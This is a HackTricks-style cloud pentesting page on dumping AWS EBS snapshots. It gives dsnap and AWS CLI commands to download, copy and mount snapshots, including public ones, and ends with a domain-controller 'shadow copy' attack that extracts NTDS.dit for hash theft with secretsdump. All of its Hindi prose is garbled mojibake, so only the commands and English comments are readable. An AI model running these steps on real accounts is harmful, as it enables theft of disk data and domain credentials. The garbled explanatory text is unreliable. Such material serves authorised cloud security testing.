AWS - EBS Snapshot Dump

Support HackTricks

рдПрдХ рд╕реНрдиреИрдкрд╢реЙрдЯ рдХреЛ рд╕реНрдерд╛рдиреАрдп рд░реВрдк рд╕реЗ рдЬрд╛рдВрдЪрдирд╛

# Install dependencies
pip install 'dsnap[cli]'
brew install vagrant
brew install virtualbox

# Get snapshot from image
mkdir snap_wordir; cd snap_workdir
dsnap init
## Download a snapshot of the volume of that instance
## If no snapshot existed it will try to create one
dsnap get <instance-id>
dsnap --profile default --region eu-west-1 get i-0d706e33814c1ef9a
## Other way to get a snapshot
dsnap list #List snapshots
dsnap get snap-0dbb0347f47e38b96 #Download snapshot directly

# Run with vagrant
IMAGE="<download_file>.img" vagrant up #Run image with vagrant+virtuabox
IMAGE="<download_file>.img" vagrant ssh #Access the VM
vagrant destroy #To destoy

# Run with docker
git clone https://github.com/RhinoSecurityLabs/dsnap.git
cd dsnap
make docker/build
IMAGE="<download_file>.img" make docker/run #With the snapshot downloaded

рдиреЛрдЯ рдХрд┐ dsnap рдЖрдкрдХреЛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╕реНрдиреИрдкрд╢реЙрдЯ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рджреЗрдЧрд╛ред рдЗрд╕рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП, рдЖрдк рд╕реНрдиреИрдкрд╢реЙрдЯ рдХреА рдПрдХ рдкреНрд░рддрд┐ рдЕрдкрдиреЗ рд╡реНрдпрдХреНрддрд┐рдЧрдд рдЦрд╛рддреЗ рдореЗрдВ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдЙрд╕реЗ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ:

# Copy the snapshot
aws ec2 copy-snapshot --source-region us-east-2 --source-snapshot-id snap-09cf5d9801f231c57 --destination-region us-east-2 --description "copy of snap-09cf5d9801f231c57"

# View the snapshot info
aws ec2 describe-snapshots --owner-ids self --region us-east-2

# Download the snapshot. The ID is the copy from your account
dsnap --region us-east-2 get snap-027da41be451109da

# Delete the snapshot after downloading
aws ec2 delete-snapshot --snapshot-id snap-027da41be451109da --region us-east-2

рдЗрд╕ рддрдХрдиреАрдХ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рдореВрд▓ рд╢реЛрдз рджреЗрдЦреЗрдВ https://rhinosecuritylabs.com/aws/exploring-aws-ebs-snapshots/

рдЖрдк рдЗрд╕реЗ Pacu рдХреЗ рд╕рд╛рде ebs__download_snapshots рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ

AWS рдореЗрдВ рдПрдХ рд╕реНрдиреИрдкрд╢реЙрдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2  --snapshot-id snap-0b49342abd1bdcb89

рдЗрд╕реЗ рдЖрдкрдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдореЗрдВ рдПрдХ EC2 VM рдореЗрдВ рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВ (рдпрд╣ рдмреИрдХрдЕрдк рдХреА рдХреЙрдкреА рдХреЗ рд╕рдорд╛рди рдХреНрд╖реЗрддреНрд░ рдореЗрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП):

рдЪрд░рдг 1: EC2 тАУ> рд╡реЙрд▓реНрдпреВрдо рдкрд░ рдЬрд╛рдХрд░ рдЖрдкрдХреЗ рдкрд╕рдВрдж рдХреЗ рдЖрдХрд╛рд░ рдФрд░ рдкреНрд░рдХрд╛рд░ рдХрд╛ рдПрдХ рдирдпрд╛ рд╡реЙрд▓реНрдпреВрдо рдмрдирд╛рдпрд╛ рдЬрд╛рдирд╛ рд╣реИред

рдЗрд╕ рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЗрди рдХрдорд╛рдВрдб рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ:

  • EC2 рдЗрдВрд╕реНрдЯреЗрдВрд╕ рд╕реЗ рдЬреЛрдбрд╝рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ EBS рд╡реЙрд▓реНрдпреВрдо рдмрдирд╛рдПрдВред

  • рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ EBS рд╡реЙрд▓реНрдпреВрдо рдФрд░ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдПрдХ рд╣реА рдЬреЛрди рдореЗрдВ рд╣реИрдВред

рдЪрд░рдг 2: рдмрдирд╛рдП рдЧрдП рд╡реЙрд▓реНрдпреВрдо рдкрд░ рд░рд╛рдЗрдЯ-рдХреНрд▓рд┐рдХ рдХрд░рдХреЗ "рдЬреЛрдбрд╝реЗрдВ рд╡реЙрд▓реНрдпреВрдо" рд╡рд┐рдХрд▓реНрдк рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рд╣реИред

рдЪрд░рдг 3: рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдЯреЗрдХреНрд╕реНрдЯ рдмреЙрдХреНрд╕ рд╕реЗ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рд╣реИред

рдЗрд╕ рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:

  • EBS рд╡реЙрд▓реНрдпреВрдо рдХреЛ рдЬреЛрдбрд╝реЗрдВред

рдЪрд░рдг 4: EC2 рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░реЗрдВ рдФрд░ рдХрдорд╛рдВрдб lsblk рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЙрдкрд▓рдмреНрдз рдбрд┐рд╕реНрдХ рдХреА рд╕реВрдЪреА рдмрдирд╛рдПрдВред

рдЪрд░рдг 5: рдХрдорд╛рдВрдб sudo file -s /dev/xvdf рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдЬрд╛рдВрдЪреЗрдВ рдХрд┐ рд╡реЙрд▓реНрдпреВрдо рдореЗрдВ рдХреЛрдИ рдбреЗрдЯрд╛ рд╣реИ рдпрд╛ рдирд╣реАрдВред

рдпрджрд┐ рдЙрдкрд░реЛрдХреНрдд рдХрдорд╛рдВрдб рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ "/dev/xvdf: data" рджрд┐рдЦрд╛рддрд╛ рд╣реИ, рддреЛ рдЗрд╕рдХрд╛ рдорддрд▓рдм рд╣реИ рдХрд┐ рд╡реЙрд▓реНрдпреВрдо рдЦрд╛рд▓реА рд╣реИред

рдЪрд░рдг 6: рдХрдорд╛рдВрдб sudo mkfs -t ext4 /dev/xvdf рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реЙрд▓реНрдпреВрдо рдХреЛ ext4 рдлрд╛рдЗрд▓ рд╕рд┐рд╕реНрдЯрдо рдореЗрдВ рдлреЙрд░реНрдореЗрдЯ рдХрд░реЗрдВред рд╡реИрдХрд▓реНрдкрд┐рдХ рд░реВрдк рд╕реЗ, рдЖрдк рдХрдорд╛рдВрдб sudo mkfs -t xfs /dev/xvdf рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ xfs рдлреЙрд░реНрдореЗрдЯ рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рдХреГрдкрдпрд╛ рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдкрдХреЛ рдпрд╛ рддреЛ ext4 рдпрд╛ xfs рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред

рдЪрд░рдг 7: рдирдП ext4 рд╡реЙрд▓реНрдпреВрдо рдХреЛ рдорд╛рдЙрдВрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреА рдкрд╕рдВрдж рдХрд╛ рдПрдХ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдмрдирд╛рдПрдВред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЖрдк "newvolume" рдирд╛рдо рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдЗрд╕ рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХрдорд╛рдВрдб sudo mkdir /newvolume рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВред

рдЪрд░рдг 8: рдХрдорд╛рдВрдб sudo mount /dev/xvdf /newvolume/ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╡реЙрд▓реНрдпреВрдо рдХреЛ "newvolume" рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдорд╛рдЙрдВрдЯ рдХрд░реЗрдВред

рдЪрд░рдг 9: "newvolume" рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдмрджрд▓реЗрдВ рдФрд░ рд╡реЙрд▓реНрдпреВрдо рдорд╛рдЙрдВрдЯ рдХреЛ рдорд╛рдиреНрдп рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рд╕реНрдХ рд╕реНрдкреЗрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред

рдЗрд╕ рдХреНрд░рд┐рдпрд╛ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:

  • рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдХреЛ /newvolume рдореЗрдВ рдмрджрд▓реЗрдВред

  • рдХрдорд╛рдВрдб df -h . рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдбрд┐рд╕реНрдХ рд╕реНрдкреЗрд╕ рдХреА рдЬрд╛рдВрдЪ рдХрд░реЗрдВред рдЗрд╕ рдХрдорд╛рдВрдб рдХрд╛ рдЖрдЙрдЯрдкреБрдЯ "newvolume" рдбрд╛рдпрд░реЗрдХреНрдЯрд░реА рдореЗрдВ рдлреНрд░реА рд╕реНрдкреЗрд╕ рджрд┐рдЦрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

рдЖрдк рдЗрд╕реЗ Pacu рдХреЗ рд╕рд╛рде ebs__explore_snapshots рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

AWS рдореЗрдВ рдПрдХ рд╕реНрдиреИрдкрд╢реЙрдЯ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдирд╛ (cli рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ)

aws ec2 create-volume --availability-zone us-west-2a --region us-west-2 --snapshot-id <snap-0b49342abd1bdcb89>

# Attach new volume to instance
aws ec2 attach-volume --device /dev/sdh --instance-id <INSTANCE-ID> --volume-id <VOLUME-ID>

# mount the snapshot from within the VM

sudo file -s /dev/sdh
/dev/sdh: symbolic link to `xvdh'

sudo file -s /dev/xvdh
/dev/xvdh: x86 boot sector; partition 1: ID=0xee, starthead 0, startsector 1, 16777215 sectors, extended partition table (last)\011, code offset 0x63

lsblk /dev/xvdh
NAME     MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvdh     202:112  0    8G  0 disk
тФЬтФАxvdh1  202:113  0  7.9G  0 part
тФЬтФАxvdh14 202:126  0    4M  0 part
тФФтФАxvdh15 202:127  0  106M  0 part

sudo mount /dev/xvdh1 /mnt

ls /mnt

Shadow Copy

рдХреЛрдИ рднреА AWS рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЬрд┐рд╕рдХреЗ рдкрд╛рд╕ EC2:CreateSnapshot рдЕрдиреБрдорддрд┐ рд╣реИ, рд╡рд╣ рдбреЛрдореЗрди рдХрдВрдЯреНрд░реЛрд▓рд░ рдХрд╛ рд╕реНрдиреИрдкрд╢реЙрдЯ рдмрдирд╛рдХрд░ рд╕рднреА рдбреЛрдореЗрди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛рдУрдВ рдХреЗ рд╣реИрд╢ рдЪреБрд░рд╛ рд╕рдХрддрд╛ рд╣реИ, рдЗрд╕реЗ рдПрдХ рдРрд╕реЗ рдЗрдВрд╕реНрдЯреЗрдВрд╕ рдкрд░ рдорд╛рдЙрдВрдЯ рдХрд░рдХреЗ рдЬрд┐рд╕реЗ рд╡рд╣ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ NTDS.dit рдФрд░ SYSTEM рд░рдЬрд┐рд╕реНрдЯреНрд░реА рд╣рд╛рдЗрд╡ рдлрд╝рд╛рдЗрд▓ рдХреЛ Impacket рдХреЗ secretsdump рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрдпрд╛рдд рдХрд░ рд╕рдХрддрд╛ рд╣реИред

рдЖрдк рдЗрд╕ рд╣рдорд▓реЗ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЗрд╕ рдЙрдкрдХрд░рдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: https://github.com/Static-Flow/CloudCopy рдпрд╛ рдЖрдк рд╕реНрдиреИрдкрд╢реЙрдЯ рдмрдирд╛рдиреЗ рдХреЗ рдмрд╛рдж рдкрд┐рдЫрд▓реЗ рддрдХрдиреАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

References

Support HackTricks

Last updated